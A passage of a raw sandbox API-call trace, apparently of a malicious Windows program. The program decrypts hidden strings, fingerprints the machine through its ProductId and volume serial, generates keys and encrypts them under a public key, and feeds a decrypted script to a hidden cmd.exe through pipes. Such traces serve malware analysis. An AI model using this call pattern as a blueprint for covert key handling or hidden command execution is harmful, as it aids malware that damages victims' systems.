dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0062.097] WriteFile (in: hFile=0xb8, lpBuffer=0x2c6208*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18e94c, lpOverlapped=0x0 | out: lpBuffer=0x2c6208*, lpNumberOfBytesWritten=0x18e94c*=0x3b3, lpOverlapped=0x0) returned 1 [0062.099] CloseHandle (hObject=0xb8) returned 1 [0062.099] GetProcessHeap () returned 0x2a0000 [0062.099] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c04c0 | out: hHeap=0x2a0000) returned 1 [0062.099] GetProcessHeap () returned 0x2a0000 [0062.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c6208 | out: hHeap=0x2a0000) returned 1 [0062.100] GetProcessHeap () returned 0x2a0000 [0062.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf648 | out: hHeap=0x2a0000) returned 1 [0062.100] GetProcessHeap () returned 0x2a0000 [0062.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf600 | out: hHeap=0x2a0000) returned 1 [0062.100] SetErrorMode (uMode=0x1) returned 0x0 [0062.100] GetLogicalDrives () returned 0x4 [0062.100] GetProcessHeap () returned 0x2a0000 [0062.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf600 [0062.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18eeb0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.100] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf600, pdwDataLen=0x18ef20 | out: pbData=0x2bf600, pdwDataLen=0x18ef20) returned 1 [0062.100] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.100] GetProcessHeap () returned 0x2a0000 [0062.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18eeb0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.100] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18ef20 | out: pbData=0x2c1050, pdwDataLen=0x18ef20) returned 1 [0062.100] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef1c | out: phkResult=0x18ef1c*=0xb8) returned 0x0 [0062.100] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef28, lpcbData=0x18ef24*=0x400 | out: lpType=0x0, lpData=0x18ef28*=0x30, lpcbData=0x18ef24*=0x18) returned 0x0 [0062.101] RegCloseKey (hKey=0xb8) returned 0x0 [0062.101] GetProcessHeap () returned 0x2a0000 [0062.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf600 | out: hHeap=0x2a0000) returned 1 [0062.101] GetProcessHeap () returned 0x2a0000 [0062.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.101] GetProcessHeap () returned 0x2a0000 [0062.101] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.101] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ec90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.101] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18ecf4 | out: pbData=0x2c1050, pdwDataLen=0x18ecf4) returned 1 [0062.101] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.101] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecf8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.101] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ecf0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ecf0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.101] GetProcessHeap () returned 0x2a0000 [0062.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.101] wsprintfA (in: param_1=0x18ef3f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0062.101] wsprintfW (in: param_1=0x18f350, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0062.101] wsprintfW (in: param_1=0x18f360, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0062.101] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.102] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f340, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f340*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.102] GetProcessHeap () returned 0x2a0000 [0062.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2c6220 [0062.102] wsprintfW (in: param_1=0x2c6220, param_2="%c:" | out: param_1="C:") returned 2 [0062.102] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0062.102] DeviceIoControl (in: hDevice=0xb8, dwIoControlCode=0x560000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x18f370, nOutBufferSize=0x20, lpBytesReturned=0x18f344, lpOverlapped=0x0 | out: lpOutBuffer=0x18f370*, lpBytesReturned=0x18f344*=0x20, lpOverlapped=0x0) returned 1 [0062.103] CloseHandle (hObject=0xb8) returned 1 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bea50 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4970 [0062.103] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x20, pbBuffer=0x2c497c | out: pbBuffer=0x2c497c) returned 1 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4af8 [0062.103] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x20, pbBuffer=0x2c4b04 | out: pbBuffer=0x2c4b04) returned 1 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.103] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0062.103] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18f398 | out: pbData=0x2c1050, pdwDataLen=0x18f398) returned 1 [0062.103] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c5158 [0062.103] GetProcessHeap () returned 0x2a0000 [0062.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c1920 [0062.103] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2bd330, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f378 | out: phKey=0x18f378*=0x2c6260) returned 1 [0062.103] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5158*, pdwDataLen=0x18f37c*=0x75, dwBufLen=0x80 | out: pbData=0x2c5158*, pdwDataLen=0x18f37c*=0x80) returned 1 [0062.104] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.104] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2bd330, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f378 | out: phKey=0x18f378*=0x2c6260) returned 1 [0062.104] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1920*, pdwDataLen=0x18f37c*=0x75, dwBufLen=0x80 | out: pbData=0x2c1920*, pdwDataLen=0x18f37c*=0x80) returned 1 [0062.104] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.104] GetProcessHeap () returned 0x2a0000 [0062.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.104] GetProcessHeap () returned 0x2a0000 [0062.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2c1ab8 [0062.104] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f320, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0062.104] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1ab8, pdwDataLen=0x18f388 | out: pbData=0x2c1ab8, pdwDataLen=0x18f388) returned 1 [0062.104] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.104] GetProcessHeap () returned 0x2a0000 [0062.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2c1050 [0062.104] GetProcessHeap () returned 0x2a0000 [0062.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdd60 [0062.104] GetProcessHeap () returned 0x2a0000 [0062.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdd48 [0062.105] GetProcessHeap () returned 0x2a0000 [0062.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2c11e0 [0062.105] GetProcessHeap () returned 0x2a0000 [0062.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdc40 [0062.105] GetProcessHeap () returned 0x2a0000 [0062.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2bdd00 [0062.105] GetProcessHeap () returned 0x2a0000 [0062.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2c10c8 [0062.105] GetProcessHeap () returned 0x2a0000 [0062.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b) returned 0x2c10a0 [0062.105] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.105] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0062.105] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.105] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0062.105] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0062.106] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0062.106] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.106] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0062.106] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0062.106] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0062.106] GetProcessHeap () returned 0x2a0000 [0062.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1ab8 | out: hHeap=0x2a0000) returned 1 [0062.106] GetProcessHeap () returned 0x2a0000 [0062.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd60 | out: hHeap=0x2a0000) returned 1 [0062.106] GetProcessHeap () returned 0x2a0000 [0062.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd48 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c11e0 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdc40 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c10c8 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c10a0 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2c7208 [0062.107] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2c7208, ObjectInformationLength=0x1000, ReturnLength=0x18f36c | out: ObjectInformation=0x2c7208, ReturnLength=0x18f36c) returned 0xc0000004 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7208 | out: hHeap=0x2a0000) returned 1 [0062.107] GetProcessHeap () returned 0x2a0000 [0062.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2000) returned 0x2c7208 [0062.108] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2c7208, ObjectInformationLength=0x2000, ReturnLength=0x18f36c | out: ObjectInformation=0x2c7208, ReturnLength=0x18f36c) returned 0x0 [0062.108] RtlGetVersion (in: lpVersionInformation=0x18f258 | out: lpVersionInformation=0x18f258*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0062.108] GetProcessHeap () returned 0x2a0000 [0062.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7208 | out: hHeap=0x2a0000) returned 1 [0062.108] GetVersion () returned 0x1db10106 [0062.108] GetCurrentProcess () returned 0xffffffff [0062.108] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f390 | out: TokenHandle=0x18f390*=0xb8) returned 1 [0062.108] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x18, TokenInformation=0x18f394, TokenInformationLength=0x4, ReturnLength=0x18f398 | out: TokenInformation=0x18f394, ReturnLength=0x18f398) returned 1 [0062.108] CloseHandle (hObject=0xb8) returned 1 [0062.108] Wow64DisableWow64FsRedirection (in: OldValue=0x18f3b4 | out: OldValue=0x18f3b4*=0x0) returned 1 [0062.108] GetProcessHeap () returned 0x2a0000 [0062.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5e0) returned 0x2c7208 [0062.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f348, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0062.108] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c7208, pdwDataLen=0x18f3c4 | out: pbData=0x2c7208, pdwDataLen=0x18f3c4) returned 1 [0062.108] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.108] GetProcessHeap () returned 0x2a0000 [0062.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ec90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0062.108] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18ed3c | out: pbData=0x2c1050, pdwDataLen=0x18ed3c) returned 1 [0062.108] CryptDestroyKey (hKey=0x2c6260) returned 1 [0062.109] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0x18ed88, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0062.109] CreatePipe (in: hReadPipe=0x18ed08, hWritePipe=0x18ed04, lpPipeAttributes=0x18ed30, nSize=0x0 | out: hReadPipe=0x18ed08*=0xb8, hWritePipe=0x18ed04*=0xc0) returned 1 [0062.109] CreatePipe (in: hReadPipe=0x18ecfc, hWritePipe=0x18ed0c, lpPipeAttributes=0x18ed30, nSize=0x0 | out: hReadPipe=0x18ecfc*=0xc4, hWritePipe=0x18ed0c*=0x120) returned 1 [0062.109] SetHandleInformation (hObject=0xc0, dwMask=0x1, dwFlags=0x0) returned 1 [0062.109] SetHandleInformation (hObject=0xc4, dwMask=0x1, dwFlags=0x0) returned 1 [0062.109] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ed40*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120), lpProcessInformation=0x18ed1c | out: lpCommandLine=0x0, lpProcessInformation=0x18ed1c*(hProcess=0x128, hThread=0x124, dwProcessId=0x6a4, dwThreadId=0x730)) returned 1 [0062.156] WriteFile (in: hFile=0xc0, lpBuffer=0x2c7208*, nNumberOfBytesToWrite=0x5ca, lpNumberOfBytesWritten=0x18ed18, lpOverlapped=0x0 | out: lpBuffer=0x2c7208*, lpNumberOfBytesWritten=0x18ed18*=0x5ca, lpOverlapped=0x0) returned 1 [0062.156] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.920] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.920] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.962] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.799] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.908] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.973] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.973] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.116] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.117] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.180] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.281] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.367] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x8f, lpBytesLeftThisMessage=0x0) returned 1 [0066.367] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x8f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x8f, lpOverlapped=0x0) returned 1 [0066.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.462] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x1a, lpBytesLeftThisMessage=0x0) returned 1 [0066.462] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x1a, lpOverlapped=0x0) returned 1 [0066.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.719] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.719] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.961] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.018] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0067.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.068] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.115] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.115] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x45, lpBytesLeftThisMessage=0x0) returned 1 [0067.195] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x45, lpOverlapped=0x0) returned 1 [0067.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.236] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.310] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.310] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, 